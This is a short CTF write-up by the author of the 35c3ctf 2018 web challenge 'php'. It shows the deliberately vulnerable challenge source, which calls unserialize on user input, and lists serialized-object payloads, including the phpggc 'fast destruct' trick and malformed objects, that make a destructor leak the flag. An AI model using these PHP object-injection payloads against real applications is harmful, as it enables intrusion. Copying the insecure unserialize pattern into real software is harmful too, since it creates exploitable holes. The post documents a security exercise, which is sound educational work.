Title: Intended solutions for 35c3ctf 2018 web "php"
Date: 2019-01-01 18:50

Last year (we're in 2019 now), I had the great pleasure (thanks to [tsuro](https://twitter.com/_tsuro))
to write a challenge for the [35c3ctf](https://35c3ctf.ccc.ac), called "php".
86% of the teams in the [top100](https://35c3ctf.ccc.ac/scoreboard/) solved it,
with a total of 209 solves on 636 playing teams, so maybe it should have been
used for the [35c3 junior ctf](https://junior.35c3ctf.ccc.ac) instead.

But on the other hand, I only got positive feedback about it, so maybe it was ok
after all. Anyway, here is the code:

```php
<?php

$line = trim(fgets(STDIN));

$flag = file_get_contents('/flag');

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = @unserialize($line);

throw new Exception('Well that was unexpected…');

echo $a;
```

There are several possible solutions.

The intended one was to borrow the [fast destruct](https://github.com/ambionics/phpggc#fast-destruct) trick from *phpggc*:
setting our object as a value somewhere in an array, then overwriting the index
with something else, triggering the garbage collection.
The payload could look like this: `a:2:{i:7;O:1:"B":0:{};i:7;i:0}`.

An other route could be to feed invalid data to unserialize, because of the
presence of the `@`:

- a non-existent object present in an array with a `B` instance: `a:2:{i:0;O:1:"B":0:{}i:1;O:1:"LOL";}`.
- an invalid object property count, `O:1:"B":1337:{}` or
	`O:1:"B":0:{"1337":0}`.
